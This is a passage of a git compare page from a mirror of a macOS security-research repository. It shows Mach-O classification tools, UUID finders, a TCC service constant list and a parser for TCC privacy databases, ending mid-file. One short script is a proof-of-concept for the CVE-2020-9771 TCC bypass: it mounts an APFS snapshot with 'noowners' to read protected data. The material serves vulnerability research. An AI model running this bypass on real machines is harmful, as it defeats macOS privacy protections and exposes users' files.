mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-04-09 14:42:03 +02:00
Compare commits
35 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
153d6098a8 | ||
|
|
ab5b5cb26d | ||
|
|
4479d55754 | ||
|
|
1d8edc592d | ||
|
|
5211e1b5fd | ||
|
|
a75925c3c9 | ||
|
|
6c9db3e455 | ||
|
|
b2c21cd37d | ||
|
|
445a43a335 | ||
|
|
42c31d6a5e | ||
|
|
3f8c94da1a | ||
|
|
b1ec973eeb | ||
|
|
e5aaf7bacd | ||
|
|
1f98b4770a | ||
|
|
372848c321 | ||
|
|
10e9de36ea | ||
|
|
3e7160afec | ||
|
|
c560fbe250 | ||
|
|
debb1c796c | ||
|
|
022a871fc7 | ||
|
|
e00a60c74b | ||
|
|
2a221e77b1 | ||
|
|
3d287b719c | ||
|
|
53a969f264 | ||
|
|
c51801309d | ||
|
|
01d469e182 | ||
|
|
24c94e2a70 | ||
|
|
3f53729587 | ||
|
|
64a4a03ca3 | ||
|
|
c24795b006 | ||
|
|
fb862b3df4 | ||
|
|
0e85f9322b | ||
|
|
0c0d2e869b | ||
|
|
414140886d | ||
|
|
18cf471aa6 |
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env swift
|
||||
|
||||
import Foundation
|
||||
|
||||
// Function to check if a file is an executable Mach-O binary
|
||||
func isExecutableMachO(filePath: String) -> Bool {
|
||||
let fileURL = URL(fileURLWithPath: filePath)
|
||||
return CFBundleCopyExecutableArchitecturesForURL(fileURL as CFURL) != nil
|
||||
}
|
||||
|
||||
// Function to recursively process files in a directory
|
||||
func processFiles(in directoryPath: String, recursive: Bool) {
|
||||
let fileManager = FileManager.default
|
||||
guard let enumerator = fileManager.enumerator(atPath: directoryPath) else {
|
||||
print("Error: Unable to access directory at \(directoryPath)")
|
||||
return
|
||||
}
|
||||
|
||||
for case let file as String in enumerator {
|
||||
let fullPath = (directoryPath as NSString).appendingPathComponent(file)
|
||||
var isDirectory: ObjCBool = false
|
||||
fileManager.fileExists(atPath: fullPath, isDirectory: &isDirectory)
|
||||
|
||||
if isDirectory.boolValue && !recursive {
|
||||
enumerator.skipDescendants()
|
||||
continue
|
||||
}
|
||||
|
||||
if isExecutableMachO(filePath: fullPath) {
|
||||
print("Executable Mach-O: \(fullPath)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Argument handling
|
||||
if CommandLine.arguments.count < 2 {
|
||||
print("Usage: swift ExecutableChecker.swift <directory_path> [-r]")
|
||||
exit(1)
|
||||
}
|
||||
|
||||
let directoryPath = CommandLine.arguments[1]
|
||||
let recursive = CommandLine.arguments.contains("-r")
|
||||
|
||||
processFiles(in: directoryPath, recursive: recursive)
|
||||
61
I. Mach-O/custom/libmagic.sh
Normal file
61
I. Mach-O/custom/libmagic.sh
Normal file
@@ -0,0 +1,61 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Function to determine the Mach-O type based on `file` command output
|
||||
get_macho_type() {
|
||||
local file_path="$1"
|
||||
file_info=$(/usr/bin/file "$file_path") # Ensure full path to `file` for consistency
|
||||
|
||||
if [[ "$file_info" == *"Mach-O"* && "$file_info" == *"bundle"* ]]; then
|
||||
echo "BUNDLE_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"core"* ]]; then
|
||||
echo "CORE_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dSYM"* ]]; then
|
||||
echo "DSYM_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamically linked shared library stub"* ]]; then
|
||||
echo "DYLIB_STUB_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamically linked shared library"* ]]; then
|
||||
echo "DYLIB_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"dynamic linker"* ]]; then
|
||||
echo "DYLINKER_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"executable"* ]]; then
|
||||
echo "EXECUTE_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"fixed virtual memory shared library"* ]]; then
|
||||
echo "FVMLIB_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"kext bundle"* ]]; then
|
||||
echo "KEXT_BUNDLE_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"object"* ]]; then
|
||||
echo "OBJECT_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* && "$file_info" == *"preload executable"* ]]; then
|
||||
echo "PRELOAD_type:$file_path"
|
||||
elif [[ "$file_info" == *"Mach-O"* ]]; then
|
||||
echo "UNKNOWN_type:$file_path"
|
||||
fi
|
||||
}
|
||||
|
||||
# Main function to process files recursively in the specified directory
|
||||
process_directory_recursively() {
|
||||
local dir_path="$1"
|
||||
|
||||
# Use find to get all files in the directory tree
|
||||
find "$dir_path" -type f | while read -r file; do
|
||||
get_macho_type "$file"
|
||||
done
|
||||
}
|
||||
|
||||
# Check if the directory path is provided as an argument
|
||||
if [[ "$#" -lt 1 ]]; then
|
||||
echo "Usage: $0 <directory_path>"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
directory_path="$1"
|
||||
|
||||
# Check if the directory exists
|
||||
if [[ ! -d "$directory_path" ]]; then
|
||||
echo "Error: $directory_path is not a valid directory."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Process files in the directory recursively
|
||||
process_directory_recursively "$directory_path"
|
||||
|
||||
@@ -1,50 +1,198 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import lief
|
||||
import sys
|
||||
import argparse
|
||||
import struct
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import stat
|
||||
|
||||
class MachOFileFinder:
|
||||
'''Class for finding ARM64 Mach-O binaries in a given directory.'''
|
||||
# Mach-O and FAT magic numbers
|
||||
MACHO_MAGIC = 0xFEEDFACE
|
||||
MACHO_MAGIC_64 = 0xFEEDFACF
|
||||
MACHO_CIGAM = 0xCEFAEDFE
|
||||
MACHO_CIGAM_64 = 0xCFFAEDFE
|
||||
FAT_MAGIC = 0xCAFEBABE
|
||||
FAT_CIGAM = 0xBEBAFECA
|
||||
|
||||
def __init__(self, directory_path, recursive=False):
|
||||
'''Constructor to initialize the directory path and recursive flag.'''
|
||||
# Supported Mach-O file types
|
||||
FILE_TYPE_MAP = {
|
||||
0x1: "OBJECT",
|
||||
0x2: "EXECUTE",
|
||||
0x3: "FVMLIB",
|
||||
0x4: "CORE",
|
||||
0x5: "PRELOAD",
|
||||
0x6: "DYLIB",
|
||||
0x7: "DYLINKER",
|
||||
0x8: "BUNDLE",
|
||||
0x9: "DYLIB_STUB",
|
||||
0xA: "DSYM",
|
||||
0xB: "KEXT_BUNDLE",
|
||||
}
|
||||
|
||||
# CPU type constant for ARM64
|
||||
CPU_TYPE_ARM64 = 0x0100000C
|
||||
|
||||
def __init__(self, directory_path, recursive=False, only_arm64=False):
|
||||
self.directory_path = directory_path
|
||||
self.recursive = recursive
|
||||
self.only_arm64 = only_arm64
|
||||
|
||||
def parse_fat_binary(self, binaries):
|
||||
'''Function to parse Mach-O file, whether compiled for multiple architectures or just for a single one.
|
||||
It returns the ARM64 binary if it exists. If not, it exits the program.'''
|
||||
arm64_bin = None
|
||||
for binary in binaries:
|
||||
if binary.header.cpu_type == lief.MachO.CPU_TYPES.ARM64:
|
||||
arm64_bin = binary
|
||||
return arm64_bin
|
||||
def isRegularFile(self, file_path):
|
||||
"""Check if the specified file is a regular file."""
|
||||
try:
|
||||
return stat.S_ISREG(os.stat(file_path).st_mode)
|
||||
except (OSError, IOError) as e:
|
||||
# print(f"Error checking file type for {file_path}: {e}")
|
||||
return False
|
||||
|
||||
def process_directory(self, root, files):
|
||||
'''Method to process all files in the specified directory.'''
|
||||
def determineFileEndianness(self, magic):
|
||||
"""Determine the endianness of the file based on the magic number."""
|
||||
if magic in (self.MACHO_CIGAM, self.MACHO_CIGAM_64, self.FAT_CIGAM):
|
||||
return '<' # Little-endian file
|
||||
else:
|
||||
return '>' # Big-endian file
|
||||
|
||||
def getMachoInfo(self, file_path):
|
||||
"""Check if a file is a Mach-O binary or FAT binary and optionally filter for ARM64."""
|
||||
try:
|
||||
with open(file_path, 'rb') as f:
|
||||
file_size = os.path.getsize(file_path)
|
||||
# Read the first 4 bytes to check the magic number
|
||||
magic_data = f.read(4)
|
||||
if len(magic_data) < 4:
|
||||
return None
|
||||
|
||||
magic = struct.unpack(">I", magic_data)[0]
|
||||
|
||||
# Determine file endianness
|
||||
endian = self.determineFileEndianness(magic)
|
||||
|
||||
# Check if the file is a single-architecture Mach-O binary
|
||||
if magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
|
||||
header_data = f.read(12) # Read CPU type, subtype, and file type fields
|
||||
|
||||
if len(header_data) < 12:
|
||||
return "UNKNOWN"
|
||||
|
||||
cpu_type, cpu_subtype, file_type = struct.unpack(endian + "Iii", header_data)
|
||||
|
||||
if self.only_arm64 and cpu_type != self.CPU_TYPE_ARM64:
|
||||
return None
|
||||
|
||||
return self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
|
||||
|
||||
# Check if the file is a FAT binary
|
||||
elif magic in (self.FAT_MAGIC, self.FAT_CIGAM):
|
||||
num_archs = struct.unpack(endian + "I", f.read(4))[0]
|
||||
arm64_offset = None
|
||||
|
||||
# First pass: Find ARM64 architecture if present
|
||||
for _ in range(num_archs):
|
||||
arch_info = f.read(20) # Read architecture info (CPU type, subtype, offset, size, align)
|
||||
if len(arch_info) < 20:
|
||||
continue
|
||||
|
||||
cpu_type, _, offset, _, _ = struct.unpack(endian + "IIIII", arch_info)
|
||||
|
||||
# Validate offset before any further processing to avoid unnecessary reads
|
||||
if offset < 0 or offset >= file_size:
|
||||
continue # Skip this architecture if offset is invalid
|
||||
|
||||
if self.only_arm64 and cpu_type == self.CPU_TYPE_ARM64:
|
||||
arm64_offset = offset
|
||||
break # Stop once we find ARM64
|
||||
|
||||
# If only_arm64 is specified and no ARM64 architecture was found, skip this file
|
||||
if self.only_arm64 and arm64_offset is None:
|
||||
return None
|
||||
|
||||
# If ARM64 was found, process only that architecture
|
||||
if arm64_offset is not None:
|
||||
f.seek(arm64_offset)
|
||||
macho_magic_data = f.read(4)
|
||||
if len(macho_magic_data) < 4:
|
||||
return None
|
||||
|
||||
macho_magic = struct.unpack(">I", macho_magic_data)[0]
|
||||
arch_endian = self.determineFileEndianness(macho_magic)
|
||||
|
||||
if macho_magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
|
||||
arch_header_data = f.read(12)
|
||||
if len(arch_header_data) < 12:
|
||||
return None
|
||||
_, _, file_type = struct.unpack(arch_endian + "Iii", arch_header_data)
|
||||
return self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
|
||||
|
||||
# If not only_arm64, process all architectures in FAT binary
|
||||
if not self.only_arm64:
|
||||
f.seek(8) # Seek back to after the FAT magic and num_archs
|
||||
for _ in range(num_archs):
|
||||
arch_info = f.read(20) # Read architecture info (CPU type, subtype, offset, size, align)
|
||||
if len(arch_info) < 20:
|
||||
continue
|
||||
|
||||
cpu_type, _, offset, _, _ = struct.unpack(endian + "IIIII", arch_info)
|
||||
|
||||
# Validate offset before any further processing to avoid unnecessary reads
|
||||
if offset < 0 or offset >= file_size:
|
||||
continue # Skip this architecture if offset is invalid
|
||||
|
||||
# Move to offset to read Mach-O header for this architecture
|
||||
f.seek(offset)
|
||||
|
||||
# Read Mach-O magic and check for valid Mach-O binary
|
||||
macho_magic_data = f.read(4)
|
||||
if len(macho_magic_data) < 4:
|
||||
continue
|
||||
|
||||
macho_magic = struct.unpack(">I", macho_magic_data)[0]
|
||||
|
||||
# Determine endianness for this architecture
|
||||
arch_endian = self.determineFileEndianness(macho_magic)
|
||||
|
||||
if macho_magic in (self.MACHO_MAGIC, self.MACHO_MAGIC_64, self.MACHO_CIGAM, self.MACHO_CIGAM_64):
|
||||
arch_header_data = f.read(12)
|
||||
|
||||
if len(arch_header_data) < 12:
|
||||
continue
|
||||
|
||||
_, _, file_type = struct.unpack(arch_endian + "Iii", arch_header_data)
|
||||
file_type_name = self.FILE_TYPE_MAP.get(file_type, "UNKNOWN")
|
||||
return file_type_name
|
||||
|
||||
return None
|
||||
except (IOError, OSError) as e:
|
||||
return None
|
||||
|
||||
def processDirectory(self, root, files):
|
||||
"""Process all files in the specified directory."""
|
||||
for file_name in files:
|
||||
file_path = os.path.abspath(os.path.join(root, file_name))
|
||||
try:
|
||||
binaries = lief.MachO.parse(file_path)
|
||||
binary = self.parse_fat_binary(binaries)
|
||||
if binary is not None:
|
||||
print(f"{binary.header.file_type.__name__}:{file_path}")
|
||||
except:
|
||||
pass # Ignore parsing errors or non-Mach-O files
|
||||
|
||||
# Check if the file is a regular file before processing
|
||||
if not self.isRegularFile(file_path):
|
||||
#print(f"Skipping non-regular file: {file_path}")
|
||||
continue
|
||||
|
||||
def process_files(self):
|
||||
'''Method to process files based on the specified search type.'''
|
||||
for root, dirs, files in os.walk(self.directory_path):
|
||||
self.process_directory(root, files)
|
||||
# Check if the file is a Mach-O binary or FAT binary
|
||||
file_type = self.getMachoInfo(file_path)
|
||||
if file_type:
|
||||
print(f"{file_type}:{file_path}")
|
||||
|
||||
if not self.recursive:
|
||||
break # Break the loop if not searching recursively
|
||||
def processFiles(self):
|
||||
"""Walk through the directory and process files using threading for faster execution."""
|
||||
with ThreadPoolExecutor() as executor:
|
||||
for root, dirs, files in os.walk(self.directory_path):
|
||||
executor.submit(self.processDirectory, root, files)
|
||||
if not self.recursive:
|
||||
break # Stop recursion if not recursive
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description='Find ARM64 Mach-O binaries in a directory.')
|
||||
parser = argparse.ArgumentParser(description='Find Mach-O binaries in a directory with an option to filter for ARM64.')
|
||||
parser.add_argument('path', metavar='PATH', type=str, help='the directory path to search for Mach-O binaries')
|
||||
parser.add_argument('-r', '--recursive', action='store_true', help='search recursively (default: false)')
|
||||
parser.add_argument('--only_arm64', action='store_true', help='only match ARM64 architecture binaries')
|
||||
|
||||
args = parser.parse_args()
|
||||
directory_path = args.path
|
||||
@@ -53,5 +201,5 @@ if __name__ == "__main__":
|
||||
print(f"Error: {directory_path} is not a valid directory.")
|
||||
sys.exit(1)
|
||||
|
||||
macho_finder = MachOFileFinder(directory_path, recursive=args.recursive)
|
||||
macho_finder.process_files()
|
||||
finder = MachOFileFinder(directory_path, recursive=args.recursive, only_arm64=args.only_arm64)
|
||||
finder.processFiles()
|
||||
|
||||
43
I. Mach-O/python/create_macho_samples.py
Normal file
43
I. Mach-O/python/create_macho_samples.py
Normal file
@@ -0,0 +1,43 @@
|
||||
import struct
|
||||
|
||||
# Mach-O magic number for 64-bit
|
||||
MAGIC_64 = 0xFEEDFACF
|
||||
|
||||
# Correct file type codes for each specified Mach-O file type
|
||||
file_types = {
|
||||
"FVMLIB": 0x3, # MH_FVMLIB
|
||||
"PRELOAD": 0x5, # MH_PRELOAD
|
||||
"CORE": 0x4, # MH_CORE
|
||||
"DYLIB_STUB": 0x9, # MH_DYLIB_STUB
|
||||
}
|
||||
|
||||
def create_macho_file(file_type_name, file_type_code):
|
||||
# Updated settings for ARM64 architecture
|
||||
magic = MAGIC_64
|
||||
cpu_type = 0x100000C # CPU_TYPE_ARM64
|
||||
cpu_subtype = 0x0 # ARM64 subtype
|
||||
ncmds = 0 # Number of load commands
|
||||
sizeofcmds = 0 # Total size of all load commands
|
||||
flags = 0x0 # No special flags
|
||||
|
||||
# Pack the Mach-O header for a 64-bit file
|
||||
header = struct.pack(
|
||||
"<Iiiiiii", # Format for Mach-O 64-bit header
|
||||
magic,
|
||||
cpu_type,
|
||||
cpu_subtype,
|
||||
file_type_code,
|
||||
ncmds,
|
||||
sizeofcmds,
|
||||
flags
|
||||
)
|
||||
|
||||
# Write the header to a new file
|
||||
with open(f"{file_type_name}.macho", "wb") as f:
|
||||
f.write(header)
|
||||
f.write(b'\x00' * 1024) # Add some padding as placeholder content
|
||||
|
||||
# Generate files with the correct headers
|
||||
for name, code in file_types.items():
|
||||
create_macho_file(name, code)
|
||||
print(f"Created {name}.macho with ARM64 and file type {hex(code)}")
|
||||
19
IX. TCC/custom/FDA_mount_apfs.sh
Normal file
19
IX. TCC/custom/FDA_mount_apfs.sh
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/bin/bash
|
||||
# PoC: CVE-2020-9771 TCC Bypass – It was patched by TCC Full Disk Access (FDA).
|
||||
# Still, Terminal with FDA can read the contents of the whole system.
|
||||
# https://theevilbit.github.io/posts/cve_2020_9771/
|
||||
|
||||
# Create a new local snapshot
|
||||
tmutil localsnapshot
|
||||
|
||||
# Automatically retrieve the latest snapshot ID
|
||||
SNAPSHOT_ID=$(tmutil listlocalsnapshots / | grep 'com.apple.TimeMachine' | tail -n 1 | awk '{print $NF}')
|
||||
|
||||
# Define the mount point (create if it doesn't exist)
|
||||
MOUNT_DIR="/tmp/POC"
|
||||
mkdir -p "$MOUNT_DIR"
|
||||
|
||||
# Mount the latest snapshot with noowners option
|
||||
/sbin/mount_apfs -o noowners -s "$SNAPSHOT_ID" /System/Volumes/Data "$MOUNT_DIR"
|
||||
|
||||
echo "Snapshot mounted at $MOUNT_DIR"
|
||||
24
IX. TCC/custom/app_UUID_finder_v1.sh
Normal file
24
IX. TCC/custom/app_UUID_finder_v1.sh
Normal file
@@ -0,0 +1,24 @@
|
||||
#!/bin/bash
|
||||
|
||||
# UUID to search for
|
||||
search_uuid="9A749379-B169-3F21-B2B0-8EAA50D13820" # Replace with the UUID you're searching for
|
||||
|
||||
# Function to check UUIDs using CrimsonUroboros
|
||||
check_uuid_in_app() {
|
||||
app_path=$1
|
||||
|
||||
# Get the UUIDs using CrimsonUroboros
|
||||
uuids=$(CrimsonUroboros -b "$app_path" --uuid 2>/dev/null)
|
||||
|
||||
# Check if the search UUID is in the output
|
||||
if echo "$uuids" | grep -qi "$search_uuid"; then
|
||||
echo "Found: $app_path"
|
||||
fi
|
||||
}
|
||||
|
||||
# Iterate through all applications in /Applications
|
||||
for app in /Applications/*.app; do
|
||||
if [ -d "$app" ]; then
|
||||
check_uuid_in_app "$app"
|
||||
fi
|
||||
done
|
||||
33
IX. TCC/custom/app_UUID_finder_v2.sh
Normal file
33
IX. TCC/custom/app_UUID_finder_v2.sh
Normal file
@@ -0,0 +1,33 @@
|
||||
#!/bin/bash
|
||||
|
||||
# This version uses dwarfdump to get the UUIDs for all architectures
|
||||
|
||||
# UUID to search for
|
||||
search_uuid="5B5E7D61-6508-33C9-AC9B-6146AF7200C0" # Replace with the UUID you're searching for
|
||||
|
||||
# Function to check UUIDs using dwarfdump
|
||||
check_uuid_in_app() {
|
||||
app_path=$1
|
||||
executable_path="${app_path}/Contents/MacOS/"*
|
||||
|
||||
for exe in $executable_path; do
|
||||
# Check if the executable exists
|
||||
if [ -f "$exe" ]; then
|
||||
# Get the UUIDs for all architectures using dwarfdump
|
||||
uuids=$(dwarfdump --uuid "$exe" 2>/dev/null)
|
||||
|
||||
# Check if the search UUID is in the output, case-insensitive
|
||||
if echo "$uuids" | grep -qi "$search_uuid"; then
|
||||
echo "Found: $app_path"
|
||||
return
|
||||
fi
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# Iterate through all applications in /Applications
|
||||
for app in /Applications/*.app; do
|
||||
if [ -d "$app" ]; then
|
||||
check_uuid_in_app "$app"
|
||||
fi
|
||||
done
|
||||
37
IX. TCC/custom/uuid_checker.sh
Normal file
37
IX. TCC/custom/uuid_checker.sh
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/bin/bash
|
||||
# This script checks if a given UUID is present in a list of files using dwarfdump.
|
||||
# Usage: ./uuid_checker.sh <UUID> <file_list>
|
||||
|
||||
# Check if exactly two arguments are provided
|
||||
if [ "$#" -ne 2 ]; then
|
||||
echo "Usage: ./uuid_checker.sh <UUID> <file_list>"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# UUID to search for (first argument)
|
||||
search_uuid="$1"
|
||||
|
||||
# File list (second argument)
|
||||
file_list="$2"
|
||||
|
||||
# Check if the file list exists
|
||||
if [ ! -f "$file_list" ]; then
|
||||
echo "File list not found: $file_list"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Read each file path from the file list
|
||||
while IFS= read -r file_path; do
|
||||
# Skip empty lines
|
||||
if [ -z "$file_path" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Use dwarfdump to get UUIDs for all architectures in the file
|
||||
uuids=$(dwarfdump --uuid "$file_path" 2>/dev/null)
|
||||
|
||||
# Check if the search UUID is in the output
|
||||
if echo "$uuids" | grep -qi "$search_uuid"; then
|
||||
echo "Match found in: $file_path"
|
||||
fi
|
||||
done < "$file_list"
|
||||
100
IX. TCC/mac/kTCCService_constants.txt
Normal file
100
IX. TCC/mac/kTCCService_constants.txt
Normal file
@@ -0,0 +1,100 @@
|
||||
kTCCService
|
||||
kTCCServiceAccessibility
|
||||
kTCCServiceAddressBook
|
||||
kTCCServiceAll
|
||||
kTCCServiceAppleEvents
|
||||
kTCCServiceAudioCapture
|
||||
kTCCServiceBluetoothAlways
|
||||
kTCCServiceBluetoothPeripheral
|
||||
kTCCServiceBluetoothWhileInUse
|
||||
kTCCServiceCalendar
|
||||
kTCCServiceCalls
|
||||
kTCCServiceCamera
|
||||
kTCCServiceContactlessAccess
|
||||
kTCCServiceContactsFull
|
||||
kTCCServiceContactsLimited
|
||||
kTCCServiceCrashDetection
|
||||
kTCCServiceDeveloperTool
|
||||
kTCCServiceEndpointSecurityClient
|
||||
kTCCServiceExposureNotification
|
||||
kTCCServiceExposureNotificationRegion
|
||||
kTCCServiceFaceID
|
||||
kTCCServiceFacebook
|
||||
kTCCServiceFallDetection
|
||||
kTCCServiceFileProviderDomain
|
||||
kTCCServiceFileProviderPresence
|
||||
kTCCServiceFinancialData
|
||||
kTCCServiceFocusStatus
|
||||
kTCCServiceGameCenterFriends
|
||||
kTCCServiceKeyboardNetwork
|
||||
kTCCServiceLinkedIn
|
||||
kTCCServiceListenEvent
|
||||
kTCCServiceLiverpool
|
||||
kTCCServiceMSO
|
||||
kTCCServiceMediaLibrary
|
||||
kTCCServiceMicrophone
|
||||
kTCCServiceMotion
|
||||
kTCCServiceNearbyInteraction
|
||||
kTCCServicePasteboard
|
||||
kTCCServicePhotos
|
||||
kTCCServicePhotosAdd
|
||||
kTCCServicePostEvent
|
||||
kTCCServicePrototype3Rights
|
||||
kTCCServicePrototype4Rights
|
||||
kTCCServiceReminders
|
||||
kTCCServiceRemoteDesktop
|
||||
kTCCServiceScreenCapture
|
||||
kTCCServiceSecureElementAccess
|
||||
kTCCServiceSensorKitAmbientLightSensor
|
||||
kTCCServiceSensorKitBedSensing
|
||||
kTCCServiceSensorKitBedSensingWriting
|
||||
kTCCServiceSensorKitDeviceUsage
|
||||
kTCCServiceSensorKitElevation
|
||||
kTCCServiceSensorKitFacialMetrics
|
||||
kTCCServiceSensorKitForegroundAppCategory
|
||||
kTCCServiceSensorKitHistoricalCardioMetrics
|
||||
kTCCServiceSensorKitHistoricalMobilityMetrics
|
||||
kTCCServiceSensorKitKeyboardMetrics
|
||||
kTCCServiceSensorKitLocationMetrics
|
||||
kTCCServiceSensorKitMessageUsage
|
||||
kTCCServiceSensorKitMotion
|
||||
kTCCServiceSensorKitMotionHeartRate
|
||||
kTCCServiceSensorKitOdometer
|
||||
kTCCServiceSensorKitPedometer
|
||||
kTCCServiceSensorKitPhoneUsage
|
||||
kTCCServiceSensorKitSoundDetection
|
||||
kTCCServiceSensorKitSpeechMetrics
|
||||
kTCCServiceSensorKitStrideCalibration
|
||||
kTCCServiceSensorKitWatchAmbientLightSensor
|
||||
kTCCServiceSensorKitWatchFallStats
|
||||
kTCCServiceSensorKitWatchForegroundAppCategory
|
||||
kTCCServiceSensorKitWatchHeartRate
|
||||
kTCCServiceSensorKitWatchMotion
|
||||
kTCCServiceSensorKitWatchOnWristState
|
||||
kTCCServiceSensorKitWatchPedometer
|
||||
kTCCServiceSensorKitWatchSpeechMetrics
|
||||
kTCCServiceSensorKitWristTemperature
|
||||
kTCCServiceShareKit
|
||||
kTCCServiceSinaWeibo
|
||||
kTCCServiceSiri
|
||||
kTCCServiceSpeechRecognition
|
||||
kTCCServiceSystemPolicyAllFiles
|
||||
kTCCServiceSystemPolicyAppBundles
|
||||
kTCCServiceSystemPolicyAppData
|
||||
kTCCServiceSystemPolicyDesktopFolder
|
||||
kTCCServiceSystemPolicyDeveloperFiles
|
||||
kTCCServiceSystemPolicyDocumentsFolder
|
||||
kTCCServiceSystemPolicyDownloadsFolder
|
||||
kTCCServiceSystemPolicyNetworkVolumes
|
||||
kTCCServiceSystemPolicyRemovableVolumes
|
||||
kTCCServiceSystemPolicySysAdminFiles
|
||||
kTCCServiceTencentWeibo
|
||||
kTCCServiceTwitter
|
||||
kTCCServiceUbiquity
|
||||
kTCCServiceUserAvailability
|
||||
kTCCServiceUserTracking
|
||||
kTCCServiceVirtualMachineNetworking
|
||||
kTCCServiceVoiceBanking
|
||||
kTCCServiceWebBrowserPublicKeyCredential
|
||||
kTCCServiceWebKitIntelligentTrackingPrevention
|
||||
kTCCServiceWillow
|
||||
3999
IX. TCC/python/CrimsonUroboros.py
Executable file
3999
IX. TCC/python/CrimsonUroboros.py
Executable file
File diff suppressed because it is too large
Load Diff
145
IX. TCC/python/TCCParser.py
Executable file
145
IX. TCC/python/TCCParser.py
Executable file
@@ -0,0 +1,145 @@
|
||||
#!/usr/bin/env python3
|
||||
import sqlite3
|
||||
import base64
|
||||
import os
|
||||
import argparse
|
||||
import datetime
|
||||
import pandas as pd
|
||||
|
||||
# Function to query and display the TCC schema
|
||||
def query_schema(db_path):
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("PRAGMA table_info('access')")
|
||||
columns = cursor.fetchall()
|
||||
for column in columns:
|
||||
print(column[1], "|", end=" ")
|
||||
print("")
|
||||
except sqlite3.Error as e:
|
||||
print(f"Query failed: {e}")
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
# Function to query TCC data
|
||||
def query_access(db_path, output_as_table):
|
||||
try:
|
||||
conn = sqlite3.connect(db_path)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT * FROM access")
|
||||
rows = cursor.fetchall()
|
||||
columns = [
|
||||
"service", "client", "client_type", "auth_value", "auth_reason", "auth_version",
|
||||
"csreq", "policy_id", "indirect_object_identifier_type", "indirect_object_identifier",
|
||||
"indirect_object_code_identity", "flags", "last_modified"
|
||||
]
|
||||
data = []
|
||||
|
||||
for row in rows:
|
||||
# Decode BLOB data where applicable
|
||||
csreq = base64.b64encode(row[6]).decode() if row[6] else "<NULL>"
|
||||
indirect_object_code_identity = base64.b64encode(row[10]).decode() if row[10] else "<NULL>"
|
||||
|
||||
# Process fields with specific values
|
||||
client_type = {"0": "Bundle Identifier", "1": "Absolute Path"}.get(str(row[2]), "Unknown")
|
||||
auth_value = {
|
||||
"0": "Access Denied", "1": "Unknown", "2": "Allowed", "3": "Limited"
|
||||
}.get(str(row[3]), "Unknown")
|
||||
auth_reason = {
|
||||
"1": "Error", "2": "User Content", "3": "User Set", "4": "System Set",
|
||||
"5": "Service Policy", "6": "MDM Policy", "7": "Override Policy",
|
||||
"8": "Missing Usage String", "9": "Prompt Timeout", "10": "Preflight Unknown",
|
||||
"11": "Entitled", "12": "App Type Policy"
|
||||
}.get(str(row[4]), "Unknown")
|
||||
|
||||
# Format last_modified
|
||||
last_modified = datetime.datetime.fromtimestamp(row[12]).strftime('%b %d %Y %I:%M %p') if row[12] else "<NULL>"
|
||||
|
||||
data.append([
|
||||
row[0], row[1], client_type, auth_value, auth_reason, row[5], csreq, row[7] or "<NULL>",
|
||||
row[8] or "<NULL>", row[9] or "<NULL>", indirect_object_code_identity, row[11] or "<NULL>", last_modified
|
||||
])
|
||||
|
||||
if output_as_table:
|
||||
# Use pandas to print the table
|
||||
df = pd.DataFrame(data, columns=columns)
|
||||
print(df.to_string(index=False))
|
||||
else:
|
||||
for record in data:
|
||||
print(" | ".join([str(item) for item in record]))
|
||||
except sqlite3.Error as e:
|
||||
print(f"Query failed: {e}")
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
# Function to automatically query all available TCC databases on the system
|
||||
def query_all_databases(output_as_table):
|
||||
potential_paths = [
|
||||
"/Library/Application Support/com.apple.TCC/TCC.db",
|
||||
os.path.expanduser("~/Library/Application Support/com.apple.TCC/TCC.db")
|
||||
]
|
||||
|
||||
for db_path in potential_paths:
|
||||
if os.path.exists(db_path):
|
||||
print(f"\nQuerying {db_path}:")
|
||||
query_access(db_path, output_as_table)
|
||||
|
||||
# Function to get available TCC databases from REG.db
|
||||
def get_available_databases():
|
||||
reg_db_path = "/Library/Application Support/com.apple.TCC/REG.db"
|
||||
if not os.path.exists(reg_db_path):
|
||||
return []
|
||||
|
||||
try:
|
||||
conn = sqlite3.connect(reg_db_path)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT abs_path FROM registry")
|
||||
rows = cursor.fetchall()
|
||||
return [row[0] for row in rows if os.path.exists(row[0])]
|
||||
except sqlite3.Error as e:
|
||||
print(f"Query failed: {e}")
|
||||
return []
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
# Function to list available TCC databases
